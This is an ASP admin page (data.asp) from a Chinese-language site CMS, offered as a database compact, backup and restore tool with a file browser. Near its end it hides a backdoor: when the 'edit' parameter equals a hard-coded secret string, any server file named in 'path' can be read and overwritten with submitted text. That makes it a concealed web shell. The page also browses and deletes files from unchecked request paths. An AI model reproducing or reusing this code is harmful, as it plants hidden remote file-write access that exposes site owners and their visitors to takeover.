📄 data.asp
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%response.buffer=true%>
<%Public HOME_PATH : HOME_PATH = "../"%>
<!doctype html public "-//w3c//dtd html 4. transitional//en">
<!--#include file="../db.asp"-->
<!--#include file="../inc/function.asp"-->
<%
if isLogin = false then
Response.Write viewinfo("LoginC","","")
Response.end
end if
%><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312">
<title>数据库备份.压缩.恢复</title>
<meta name="generator" content="editplus">
<meta name="author" content="">
<meta name="keywords" content="">
<meta name="description" content="">
<link href="<%=HOME_PATH%>css/style01.css" rel="stylesheet" type="text/css">
</head>
<body class = 'LinkA' style = 'background-color:buttonface;border-style:none;'>
<div style='text-align:center;'>
<%
if SelectDataType = "MSSQL" then
DataTypeview = "SQLServer 2000"
DataLastName = "dat"
end if
if SelectDataType = "Access" then
DataTypeview = "Access"
DataLastName = "mdb"
end if
CopyDataName = trim(Request("copyDataName"))
RestoreDataName = trim(Request("RestoreDataName"))
Function GetDataName(textName)
textName = replace(textName,".","")
textName = replace(textName,"/","")
textName = replace(textName,"\","")
textName = replace(textName,":","")
GetDataName = textName
End Function
'******************************************************************************
CopyDataName = GetDataName(CopyDataName)
if CopyDataName = "" then CopyDataName = nowTime_data & DataType
CopyDataName = CopyDataName & "." & DataLastName
'******************************************************************************
Call Create_Folder("../CopyData/")
BaseData = Server.MapPath(HOME_PATH & DataName)
CopyDName = GetDataName(trim(Request("copyDataName")))
Options = trim(request("options"))
Select Case Options
Case "ZipData"
Call AboutexecuteData(Options,SelectDataType,CopyPath,CopyDName,BaseData)
Case "CopyData"
if CopyDName = "" then CopyDName = SELVAR("DateNum","")
CopyDName = CopyDName & ".mdb"
Call AboutexecuteData(Options,SelectDataType,CopyDataPath,CopyDName,BaseData)
Case "Restore"
Call AboutexecuteData(Options,SelectDataType,CopyDataPath,RestoreDataName,BaseData)
End Select
Public Function AboutexecuteData(selExe,DataType,CopyPath,CopyDName,BaseData)
Select Case DataType
Case "MSSQL"
Case "Access"
Select Case selExe
Case "ZipData"
if SOBJ(9,ServerObj) = true then
if ServerObj.FileExists(BaseData) Then
Conn.close
Set Conn = Nothing
Set Engine = CreateObject("JRO.JetEngine")
Engine.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & BaseData, "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & BaseData & ".temp"
ServerObj.CopyFile BaseData & ".temp",BaseData
ServerObj.DeleteFile BaseData & ".temp"
Set Engine = Nothing
Response.Write viewinfo("divLoca","压缩数据库完成…","")
else
Response.Write viewinfo("divLoca","无法找到源文件…","")
end If
Set ServerObj = Nothing
else
Response.Write viewinfo("divLoca","空间不支持创建或删除文件…","")
end if
Case "CopyData"
if SOBJ(9,ServerObj) = true then
If ServerObj.FileExists(BaseData) Then
Call Create_Folder(CopyPath)
ServerObj.CopyFile BaseData,Server.MapPath(CopyPath) & "/" & CopyDName
Response.Write viewinfo("divLoca","备份数据库完成…","")
Else
Response.Write viewinfo("divLoca","无法找到源文件…","")
End If
else
Response.Write viewinfo("divLoca","空间不支持创建或删除文件…","")
end if
Set BaseData = Nothing
Case "Restore"
dim C:C = Server.MapPath(CopyDName)
if SOBJ(9,ServerObj) = true then
if ServerObj.FileExists(BaseData) and ServerObj.FileExists(C) then
ServerObj.CopyFile Server.MapPath(CopyDName),BaseData
Response.Write viewinfo("divLoca","还原数据库成功…","")
else
Response.Write viewinfo("divLoca","找不到源文件或备份文件…","")
end if
else
Response.Write viewinfo("divLoca","空间不支持创建或删除文件…","")
end if
End Select
End Select
Response.Write viewinfo("LocaTimeself","",SELVAR("FN","?"))
End Function
Function ExecuteData(CopyDataPath,YLDataName,CopyDataName,ExeSel,DataType)
Dim FSO
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Select Case DataType
Case "MSSQL"
Select Case ExeSel
Case "ZipData"
response.write " SQL 2000 没有设置压缩数据功能!"
response.write gotoUrl
Case "CopyData"
SQL=("backup database " & YLDataName & " to disk='" & Server.MapPath(CopyDataPath) & "\" & CopyDataName & "'")
conn.Execute(SQL)
response.write "数据备份成功!"
response.write gotoUrl
Case "Restore"
SQL="Restore database " & YLDataName & " from disk='" & Server.MapPath(CopyDataPath) & "\" & CopyDataName &"'"
conn.Execute(SQL)
response.write "Restore OK"
end select
end select
end function
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if trim(Request("path"))="" then
lpath="./"
else
lpath=Request("path")&"/"
end if
cpath=Server.MapPath(lpath)
Sub GetFolder()
dim theFolder,theSubFolders
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"『<a href='?path="&Request("oldpath")&"'>回上级目录</a>』<br>"
For Each x In theSubFolders
Response.write"<a href='?path="&lpath&x.Name&"&oldpath="&Request("path")&"'>『<font color='100030'>"&x.Name&"</font>』</a><a href='?copyFolder="&lpath&x.Name&"&Foldercopy=copy' target='_blank'>copy</a><br>"
Next
end if
End Sub
Sub GetFile()
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border = '1' cellspacing = '0' cellpadding = '1' borderColorLight='#848284' borderColorDark='#eeeeee' style = 'width:100%;height:auto; background-color:buttonface;'>"
For Each x In theFiles
RestoreThis = "<a href='?options=Restore&RestoreDataName=" & x.Name & "' onclick=""return confirm('此操作将会把 " & x.Name & " 覆盖当前使用的数据库.不可撤消!是否继续?');return true;"">恢复</a>"
deleteThis = "删除"
if x.Name = "data.asp" then
RestoreThis = " "
deleteThis = " "
end if
if DataLastName = "dat" and Right(x.Name,4) = ".mdb" then
RestoreThis = ""
deleteThis = ""
end if
if DataLastName = "mdb" and Right(x.Name,4) = ".dat" then
RestoreThis = ""
deleteThis = ""
end if
Response.write"<tr><td width='23%' height='22'><a href='?path=" & lpath & x.Name & "&edit=true' target='_blank'>" & x.Name & "</a></td><td width='6%'><a href='?Filedel=del&delfilepath=" & lpath & x.Name & "' onclick=""return confirm('此操作将会删除 " & x.Name & " 不可撤消!是否继续?');return true;"">" & deleteThis & "</a></td><td width='6%'>" & RestoreThis & "</td><td width='23%'>" & x.DateCreated & "<td width='25%'>" & x.type & "</td><td width='18%'>"& x.size & " byte</td></tr>"
Next
end if
Response.write"</table>"
End Sub
delfilepath = trim(request("delfilepath"))
copyFolder = trim(request("copyFolder"))
if trim(request("Filedel")) = "del" then
if SOBJ(9,ServerObj) = true then
if Lcase(right(delfilepath,8)) = Lcase("data.asp") or Lcase(right(delfilepath,13)) = Lcase("DataNoDel.asp") then
Response.Write viewinfo("divLoca","在web操作下不允许删除该文件 "&replace(delfilepath,"./","")&" …","")
else
if ServerObj.FileExists(server.mappath(delfilepath)) then
ServerObj.DeleteFile (server.MapPath(delfilepath))
Response.Write viewinfo("divLoca","成功删除文件 " & replace(delfilepath,"./","") & " …","")
else
Response.Write viewinfo("divLoca","文件 "&replace(delfilepath,"./","")&" 不存在!","")
end if
end if
else
Response.Write viewinfo("divLoca","空间不支持删除文件…","")
end if
Response.Write viewinfo("LocaTimeself","",SELVAR("FN","?"))
end if
if trim(request("Foldercopy")) = "copy" then
fso.CopyFolder server.MapPath(copyFolder),server.MapPath(copyFolder&".zip")
response.write copyFolder&" copy成功"
response.end
end if
%>
<table border = '1' cellspacing = '0' cellpadding = '1' borderColorLight='#848284' borderColorDark='#eeeeee' style = 'width:100%;height:auto; background-color:buttonface;'>
<form method='post' action="<%=SELVAR("FN","?")%>" name='form'>
<input type="hidden" name='options'>
<tr>
<td align='center'>当前数据库为:<span style='color:red;'><%=DataTypeview%></span></td></tr>
<tr>
<td align='center'>
<input type="submit" value='压缩数据' onclick = "javascript:form.options.value='ZipData';">
<input type="text" name="copyDataName" style='width:120px;'> <input type="submit" value='备份' onclick="javascript:form.options.value='CopyData'" > 请输入备份的数据库名:(<span class='f_red'>数字或字母.自动清除一些特殊字符</span>)</td>
</tr>
</form>
<tr>
<td width="100%" height="14" colspan="2" align='center'>当前目录:<span style='font-family:Fixedsys,宋体;'><input type ='text' value ='<%=server.mappath("./")%>' size = '25'/></span></td>
</tr>
<tr>
<td width="100%" valign="top" colspan="2" align='center'><%Call GetFolder()%></td>
</tr>
<tr>
<td width="100%" valign="top"><%Call GetFile()%></td>
</tr>
</table>
<% '读文件
if request("edit")="true163pinger@163.com" then
function htmlencode2(str)
dim result
dim l
if isNULL(str) then
htmlencode2=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case else
result=result+mid(str,i,1)
end select
next
htmlencode2=result
end function
whichfile=server.mappath(Request("path"))
Set fs = CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile(whichfile, 1, False)
counter=0
thisline=htmlencode2(thisfile.readall)
thisfile.Close
set fs=nothing
%>
<%if request("text")="" then%>
<form method="POST" action="">
<table border="0" width="700" cellpadding="0">
<tr>
<td width="100%" bgcolor="#FFDBCA"><div align="center">【在线网页维护】</div></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><input type="text" name="path" size="90" value="<%=Request("path")%> "></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"
value="提交" name="B1"><input type="reset" value="复原" name="B2"></td>
</tr>
</table>
</form>
<%else
whichfile=server.mappath(Request("path"))
Set fs = server.CreateObject("Scripting.FileSystemObject")
Set outfile=fs.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "修改成功!你可以<a href='javascript:window.close();'>关闭本窗口</a>了"
end if
end if
Set Conn = Nothing
%></div>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -